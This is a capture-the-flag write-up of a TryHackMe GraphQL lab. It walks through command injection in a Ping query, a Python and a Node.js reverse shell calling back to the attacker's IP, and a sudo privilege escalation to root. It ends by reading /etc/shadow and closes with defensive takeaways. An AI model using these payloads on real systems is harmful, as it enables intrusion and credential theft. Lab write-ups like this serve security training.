TryHackMe GraphQL Writeup
Join the TryHackMe GraphQL room
The Mission: Get user para’s hash
Enumeration
Since this is a GraphQL room, the first thing I do was try to hit the ip address from my browser and land on a GraphiQL interface so I didn’t bother to run nmap or any other scans yet.
GraphQL is self documenting which is nice for developers and also… me. I have a look at the docs in the GraphiQL interface and click on Query to see what queries are available. There is only one query available Ping(ip: String!): Ping
.
This is interesting because it alludes to an RCE (Remote Code Execution) vulnerability since ping is command you would run in your terminal. I then click on ‘Ping’ in the docs to get the available fields in the schema. It has two fields id
and output
.
I give the query a try to see what happens: { Ping(ip: "ls") { ip output } }
and get an error:
{
"errors": [
{
"message": "Command failed: ping -c 3 ls\nping: asdf: Temporary failure in name resolution\n",
"locations": [
{
"line": 31,
"column": 3
}
],
"path": [
"Ping"
]
}
],
"data": {
"Ping": null
}
}
Simple fix needed, terminate the ping command with a ;: { Ping(ip: "; ls") { ip output } }
and I get promising output.
{
"data": {
"Ping": {
"ip": "; ls",
"output": "node_modules\npackage-lock.json\nserver.js\n"
}
}
}
Getting in
Since I can execute commands, I just need a reverse shell script I can run from here. First, I start a netcat listener:
nc -nvlp 4444
I go to the trusty PayloadsAllTheThings. Since Python is installed on almost all flavors of Linux and scripts are easy to run from the command line, I give my common go to script a shot in GraphiQL:
{ Ping(ip: "; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.6.16.555\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'") { ip output } }```
And I am in. As usual I improve my experience with python -c 'import pty;pty.spawn("/bin/bash")'
. I id myself and I am the user para whose hash I need. I list the contents of their home directory; it’s the same as the output from the ls I ran via GraphiQL: node_modules, package-lock.json, server.js
My shell is dumb so I couldn’t paste the Linux Smart Enumeration script into a file well. I went with wget from a local python server and run the enumeration script:
python3 -m http.server 1234
cd /tmp && wget http://10.6.16.555:1234/server-nc.js
chmod +x lse.sh; ./lse.sh
(out)No hashes in /etc/passwd
(out)[!] sys020 Does the /etc/passwd have hashes?............................... nope
(out)...
(out)[!] sud010 Can we list sudo commands without a password?................... yes!
(out)...
(out)Matching Defaults entries for para on ubuntu:
(out)env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
(out)User para may run the following commands on ubuntu:
(out)(ALL : ALL) NOPASSWD: /usr/bin/node /home/para/server.js
The important findings are that I can run sudo with no password for /usr/bin/node /home/para/server.js
which will let me escalate my privileges. And that there are no hashes in /etc/passwd which means the hash will probably be found in the shadow file.
Privilege Escalation
It is obvious I have Nodejs available because we have a node_modules directory and a server.js file in the para home directory. Back to PayloadsAllTheThings for a Nodejs payload. I initially try the netcat version, but that doesn’t work so I go with the longer option. I create the file locally, get it with wget and copy the contents to the server.js file in the para home directory.
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(4242, "10.6.16.555", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})();
wget http://10.6.16.555:1234/server.js
cat server.js > /home/para/server.js
I start a second netcat listener
nc -nvlp 4242
I run the server.js file and I am root.
sudo /usr/bin/node /home/para/server.js
id
(out)uid=0(root) gid=0(root) groups=0(root)
Post Exploit
Getting the hash
If there are no hashes in /etc/passwd, the next place to look is /etc/shadow. And there it is…
cat /etc/shadow
(out)...
(out)para:{{REDACTED_HASH>}}:18535:0:99999:7:::
Takeaways
- Avoid executing commands with user input. Use your languages libraries to accomplish the same if possible.
- If you can't use a library, use a tried and tested library to sanitize the input and limit which commands can be run.
- If it is not a public API don't leave GraphiQL exposed.